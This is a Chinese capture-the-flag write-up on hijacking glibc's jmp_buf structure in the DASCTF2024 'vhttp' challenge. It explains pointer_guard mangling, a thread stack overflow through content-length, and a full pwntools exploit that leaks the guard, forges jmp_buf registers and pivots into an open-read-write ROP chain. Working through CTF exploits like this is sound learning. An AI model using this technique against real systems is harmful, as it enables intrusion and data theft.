基于jmp_buf结构体的攻击

前置知识

jmp_buf结构体

setjmp.h 头文件定义了宏 setjmp()、函数 longjmp() 和变量类型 jmp_buf,该变量类型会绕过正常的函数调用和返回规则

jmp_buf 是一个数据类型,用于保存调用环境,包括栈指针、指令指针和寄存器等。在执行 setjmp() 时,这些环境信息会被保存到 jmp_buf 类型的变量中。

int setjmp(jmp_buf environment) 这个宏把当前环境保存在变量 environment 中,以便函数 longjmp() 后续使用。如果这个宏直接从宏调用中返回,则它会返回零,但是如果它从 longjmp() 函数调用中返回,则它会返回一个非零值。

void longjmp(jmp_buf environment, int value) 该函数恢复最近一次调用 setjmp() 宏时保存的环境,jmp_buf 参数的设置是由之前调用 setjmp() 生成的。

根据上述内容,如果jmp_buf结构体存储在栈上,并且我们可以栈溢出覆盖到此处,那么将可以控制程序的流程!!!

pointer_guard

  • 结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域为tchhead_t类型,其定义如下:
typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard; 0x28
  uintptr_t pointer_guard; 0x30
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

  void *__padding[8];
} tcbhead_t;

  • 可以看到这两个宏利用pointer_guard分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)], 利用pointer_guard进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64),解密的过程为ror(enc, 0x11, 64) ^ pointer_guard
  • 因此我们写入数据的时候用这个加密方式就可以了 eg:
#bin会给数字转化为2进制,但是会带上0b,因此要取[2:]
def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)
ROL(gadget_addr ^ pointer_guard, 0x11)

这里以DASCTF2024暑期挑战赛 vhttp为例,讲解这个漏洞的利用过程(此题是libc2.31,实操发现如果是libc2.35打不通)

逆向分析

  • main中一般都是先处理http包,常见格式如下
payload = b"GET /index.html HTTP/1.1\r\n"
payload+= b"content-length:2848\r\n"
  • 逆向出的结构体

struct http_header
{
    char * method;
    char * path;
    char * version;
    int header_count;
    struct Header * headers;
    char * data;
    int content_length;
    jmp_buf err;
};
  • 处理完http包后一般看haystack是否包含flag相关字符串然后进行不同的函数处理
  • func1,处理路径得到绝对路径,并输出http包相关内容
  • func2,打开文件,如果直接是一个文件那么就输出文件内容,如果是一个文件夹那么就遍历输出文件夹中有哪些文件

漏洞分析

  • 先记录一下httpd常见漏洞形式
  1. 第一种,最简单的就是haystack中有flag.txt但是可以进行目录穿越类似的漏洞
  2. 第二种,进入func2,但是遍历目录的时候有漏洞可以读出flag
  3. 第三种,也就是本题见到的这种,针对jmp_buf结构体的漏洞
  • 具体漏洞如下

content_length由http header中的content-length确定

// sub_401ce7  
for ( i = 0; i <= 1; ++i )
  {
    fread(s, *(int *)(a1 + 48), 1uLL, stdin);
    if ( strncmp(s, "\r\nuser=newbew", 0xCuLL) )
      break;
    write(1, "HTTP/1.1 403 Forbidden\r\n", 0x18uLL);
    write(1, "Content-Type: text/html\r\n", 0x19uLL);
    write(1, "\r\n", 2uLL);
    write(1, "<h1>Forbidden</h1>", 0x12uLL);
    v1 = strlen(s);
    write(1, s, v1);
  }

这里的fread的length就是之前得到的content_length,这是我们可以控制的,因此这里存在一个栈溢出

但是由于退出此函数都是exit,无法直接ROP

这里的考点在于setjmp函数,其通过一个jmp_buf结构体保存寄存器的值,longjmp通过恢复这些寄存器的值进行跳转

因此,如果我们覆盖了jmp_buf结构体,就可以劫持程序控制流程

但是jmp_buf中栈寄存器和rip都被TCB中的pointer_guard保护。但注意到,这个溢出发生在线程中,线程的栈靠近线程TCB,由于程序运行时其他函数需要用到pointer guard, 因此不能直接覆盖,需要leak

因此,我们可以利用下述函数带出pointer guard

// sub_401ce7  
    v1 = strlen(s);
    write(1, s, v1);

然后,覆盖jmp buf中的rip和栈指针可以栈迁移进行ROP

exp的编写

  • 注意到main中的read是读到bss段上,因此也可以在这里布置rop链,进行orw
  • 当前jmp_buf+2848偏移处刚好是pointer_guard,可以泄露出pointer_guard
  • 题目中for ( i = 0; i <= 1; ++i )刚好有两次机会,一次泄露,一次orw
  • exp
## ROP Chain
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn","b *0x401705")
p=remote('node5.buuoj.cn',28360)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''

def dbg():
    gdb.attach(p,gdb_script)  
    pause()


def circular_left_shift(value, shift):
    # 确保value是一个64位整数
    value &= 0xFFFFFFFFFFFFFFFF
    # 执行循环左移操作
    shifted_value = ((value << shift) & 0xFFFFFFFFFFFFFFFF) | (value >> (64 - shift))
    return shifted_value

def ptr_g(value, pg):
    val = value ^ pg
    return circular_left_shift(val, 0x11)

# dbg()
ret_addr = 0x000000000040101a
pop_rdi = 0x00000000004028f3
pop_rsi_r15 = 0x00000000004028f1
pop_rdx = 0x000000000040157d
buffer = 0x0405140
open_plt = 0x4013C0
read_plt = 0x401300
write_plt = 0x4012A0
flag_addr = 0x40338A


header = b"GET / HTTP/1.1\r\n"
header+= b"content-length:2848\r\n"

#ORW
rop_payload = b"a"*(0x20-1)+b":"
rop_payload+= p64(ret_addr)*0x4
rop_payload+= p64(pop_rdi)
rop_payload+= p64(flag_addr)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(0x0)
rop_payload+= p64(0x0)
rop_payload+= p64(open_plt)
rop_payload+= p64(pop_rdi)
rop_payload+= p64(0x3)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(buffer+0x100)
rop_payload+= p64(0x0)
rop_payload+= p64(pop_rdx)
rop_payload+= p64(0x200)
rop_payload+= p64(read_plt)
rop_payload+= p64(pop_rdi)
rop_payload+= p64(0x1)
rop_payload+= p64(pop_rsi_r15)
rop_payload+= p64(buffer+0x100)
rop_payload+= p64(0x0)
rop_payload+= p64(write_plt)
rop_payload+= rop_payload.ljust(0x100, b"a")
header+= rop_payload+b'\r\n'

p.send(header)
p.send('\n')

#这里要注意题目要求的是strncmp(s, "\r\nuser=newbew", 0xCuLL)
payload = b'\r\n'+b"user=newbew"+cyclic(2848-13-7)+b'success'
p.send(payload)
p.recvuntil(b"success")
pointer_guard = u64(p.recv(8))
print("Pointer guard:",hex(pointer_guard))


payload = b"&pass=v3rdant".ljust(0x200, b'a')

regs = flat({
    0x8:ptr_g(buffer+0x28, pointer_guard),  #rbp
    #rsp刚好指向rop_payload的地方
    0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
    0x38:ptr_g(ret_addr, pointer_guard),    #rdx的值,jmp rdx
    }
)

payload += regs

payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
payload+= p64(buffer+0x400)*4
print(len(payload))

p.send(payload)

p.interactive()

解题遇到的问题及解决

多线程如何dbg

  • main中有如下代码,创建了另一个线程
 if ( strstr(haystack, "flag.txt") )
      start_routine = (void *(*)(void *))func1;
    else
      start_routine = (void *(*)(void *))func2;
    pthread_create(&newthread, 0LL, start_routine, &method);
    pthread_join(newthread, 0LL);
    status = 0;
  • 可以用如下方式进行多线程dbg
finish GDB会让程序继续运行,直到当前函数执行完毕并返回到调用它的地方
info threads 显示当前程序中的所有线程,并标注当前所在的线程
thread (id) 这个命令不仅可以用来切换线程,也可以显示当前线程的ID

gdb_script = '''
b pthread_create
c
finish
thread 2
b *0x401EC2
c
b __pthread_cleanup_upto
c
'''

如何设置jmp_buf结构体的值进而控制寄存器

  • 此时的rdi正好指向jmp_buf结构体,r8=[jmp_buf+0x30],r9=[jmp_buf+0x8],rdx=[jmp_buf+0x38]。最后又有mov rsp,r8;mov rbp,r9;jmp rdx。
  • 有上述过程就可以控制流程了,让rsp=rop_addr,然后rdx=ret指令,即可实现rop

又一个问题,发生了段错误

  • payload如下会有这个段错误 ,发现是rax的值被我们覆盖为a了,跟进流程查看如何正确地写payload
payload = b"&pass=v3rdant".ljust(0x200, b'a')

regs = flat({
    0x8:ptr_g(buffer+0x28, pointer_guard),  #rbp
    #rsp刚好指向rop_payload的地方
    0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
    0x38:ptr_g(ret_addr, pointer_guard),    #rdx的值,jmp rdx
    }
)

payload += regs

payload = payload.ljust(2848, b'a')
# payload+= p64(0x405360)*4
print(len(payload))

p.send(payload)
  • 跟进发现会进入_longjmp_unwind,然后进入_pthread_cleanup_upto,此时会有个一个mov rax,qword ptr fs:[0x10],后面又有一个mov r12,qword ptr [rax+0x698]就会导致段错误
  • 由此就可以想到是我们泄露pointer_guard时,覆盖了其为a,所以导致赋值不正确,如图也可以看到确实被覆盖了(0x7ffff7da2e10是jmp_buf的地址)
  • 做出以下修改即可,保证fs:[0x10]的值是一个可写的地址
payload = b"&pass=v3rdant".ljust(0x200, b'a')

regs = flat({
    0x8:ptr_g(buffer+0x28, pointer_guard),  #rbp
    #rsp刚好指向rop_payload的地方
    0x30:ptr_g(buffer+0x28, pointer_guard), #rsp
    0x38:ptr_g(ret_addr, pointer_guard),    #rdx的值,jmp rdx
    }
)

payload += regs

payload = payload.ljust(2848-0x20, b'a') #保证fs:[0x10]的值是一个可写的地址即可
payload+= p64(buffer+0x400)*4
print(len(payload))

p.send(payload)
  • 至此就打通了

一些感想

基于jmp_buf结构体的攻击,打这个的感受就和打堆溢出的house系列的wide_data结构体一样

就是针对某个结构体,以及其相关函数的漏洞进行攻击,关键点在于要发现一开始那个栈溢出,这样才会想到是否能够劫持jmp_buf结构体然后进一步劫持流程

这种通过劫持结构体,进而控制程序流程在二进制漏洞里面还是不少的,自己在复现qemu相关的题目也是遇到过相同的手法